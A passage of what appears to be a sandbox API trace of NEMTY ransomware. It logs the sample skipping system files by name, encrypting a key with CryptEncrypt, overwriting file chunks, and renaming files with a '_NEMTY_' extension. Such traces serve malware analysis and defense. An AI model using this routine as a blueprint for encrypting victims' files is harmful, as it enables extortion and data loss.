lpString2="BOOTSECT.BAK") returned 1 [0117.544] lstrcmpiW (lpString1="novelty.png", lpString2="bootmgr") returned 1 [0117.544] lstrcmpiW (lpString1="novelty.png", lpString2="programdata") returned -1 [0117.544] lstrcmpiW (lpString1="novelty.png", lpString2="appdata") returned 1 [0117.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0117.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0117.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty.png", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="novelty.png", lpUsedDefaultChar=0x0) returned 11 [0117.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0117.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0117.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty.png", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="novelty.png", lpUsedDefaultChar=0x0) returned 11 [0117.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0117.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0117.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0117.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0117.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty.png", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="novelty.png", lpUsedDefaultChar=0x0) returned 11 [0117.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0117.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0117.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0117.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty.png", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="novelty.png", lpUsedDefaultChar=0x0) returned 11 [0117.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0117.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0117.545] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0117.545] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0117.545] Sleep (dwMilliseconds=0x5) [0117.559] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf9b7beb0, dwHighDateTime=0x1d561e7)) [0117.559] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf9b7beb0, dwHighDateTime=0x1d561e7)) [0117.559] GetLastError () returned 0x5 [0117.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0117.559] GetLastError () returned 0x5 [0117.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0117.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0117.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0117.560] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0117.560] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0117.560] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0117.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0117.560] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="BWGGShrr4bR45LbsfqVntKzm0trhQu/spCKl0/opA4Z+N9W0r5nhyJZ+ccv+MB+c\r\nYsJk1dWQ1enVTkgcrO+gH5hojitkeE4w3UsM+EujjlQJi5+jgTI55kbdhktAswzy\r\nRMdG2DY4I6oMEsDwoySTlEmW4be17YPfEFQktjk6wzilreqBluDccptRgRiR60fe\r\nQ3hWRmEE78VBTZwvLzOlS4aCY5VbxPuzywfGmUL8ynZj6XPT9nRwdfq98WVZ3psZ\r\nlwYU1NZgGJTmuRHVCqc1grs2AwYqfLeTAV75Y1Y7K7EqbwcDH4Iv7gKLZox0MQUW\r\nPmntwWWhujY2sjXLKGlNRg==\r\n", pcchString=0x653e91c) returned 1 [0117.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0117.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0117.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0117.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0117.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0117.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0117.560] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.561] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0117.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0117.561] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.561] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.570] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.570] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.580] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.580] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.580] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.580] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.589] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.589] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.589] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.589] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.598] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.599] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.599] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.599] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.608] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.608] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.608] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.617] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.618] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.627] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.627] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.627] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.627] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.636] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.636] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.636] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.636] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.645] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.646] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.646] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.646] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.655] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.655] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.655] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.655] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.661] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.661] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0117.667] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.667] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.667] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0117.667] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0117.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0117.667] CloseHandle (hObject=0xffffffff) returned 0 [0117.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0117.667] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0117.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0117.667] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0117.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0117.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0117.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0117.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0117.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0117.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0117.667] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty.png._nemty_kgobjgd_")) returned 0 [0117.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0117.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0117.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0117.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0117.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0117.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0117.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0117.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0117.668] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82aea06e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82aea06e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x288337a9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="novelty_dot.png", cAlternateFileName="")) returned 1 [0117.668] lstrcmpiW (lpString1="novelty_dot.png", lpString2=".") returned 1 [0117.668] lstrcmpiW (lpString1="novelty_dot.png", lpString2="..") returned 1 [0117.668] lstrcmpiW (lpString1="novelty_dot.png", lpString2="...") returned 1 [0117.668] lstrcmpiW (lpString1="novelty_dot.png", lpString2="windows") returned -1 [0117.668] lstrcmpiW (lpString1="novelty_dot.png", lpString2="$RECYCLE.BIN") returned 1 [0117.668] lstrcmpiW (lpString1="novelty_dot.png", lpString2="rsa") returned -1 [0117.668] lstrcmpiW (lpString1="novelty_dot.png", lpString2="NTDETECT.COM") returned -1 [0117.668] lstrcmpiW (lpString1="novelty_dot.png", lpString2="ntldr") returned -1 [0117.668] lstrcmpiW (lpString1="novelty_dot.png", lpString2="MSDOS.SYS") returned 1 [0117.668] lstrcmpiW (lpString1="novelty_dot.png", lpString2="IO.SYS") returned 1 [0117.668] lstrcmpiW (lpString1="novelty_dot.png", lpString2="boot.ini") returned 1 [0117.668] lstrcmpiW (lpString1="novelty_dot.png", lpString2="boot.ini") returned 1 [0117.668] lstrcmpiW (lpString1="novelty_dot.png", lpString2="AUTOEXEC.BAT") returned 1 [0117.668] lstrcmpiW (lpString1="novelty_dot.png", lpString2="ntuser.dat") returned -1 [0117.668] lstrcmpiW (lpString1="novelty_dot.png", lpString2="desktop.ini") returned 1 [0117.668] lstrcmpiW (lpString1="novelty_dot.png", lpString2="CONFIG.SYS") returned 1 [0117.668] lstrcmpiW (lpString1="novelty_dot.png", lpString2="RECYCLER") returned -1 [0117.668] lstrcmpiW (lpString1="novelty_dot.png", lpString2="BOOTSECT.BAK") returned 1 [0117.668] lstrcmpiW (lpString1="novelty_dot.png", lpString2="bootmgr") returned 1 [0117.669] lstrcmpiW (lpString1="novelty_dot.png", lpString2="programdata") returned -1 [0117.669] lstrcmpiW (lpString1="novelty_dot.png", lpString2="appdata") returned 1 [0117.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0117.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_dot.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0117.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_dot.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="novelty_dot.png", lpUsedDefaultChar=0x0) returned 15 [0117.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0117.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_dot.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0117.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_dot.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="novelty_dot.png", lpUsedDefaultChar=0x0) returned 15 [0117.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0117.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0117.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0117.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_dot.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0117.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_dot.png", cchWideChar=15, lpMultiByteStr=0x653ec20, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="novelty_dot.png", lpUsedDefaultChar=0x0) returned 15 [0117.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0117.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0117.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_dot.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0117.669] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_dot.png", cchWideChar=15, lpMultiByteStr=0x653ec58, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="novelty_dot.png", lpUsedDefaultChar=0x0) returned 15 [0117.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0117.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0117.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 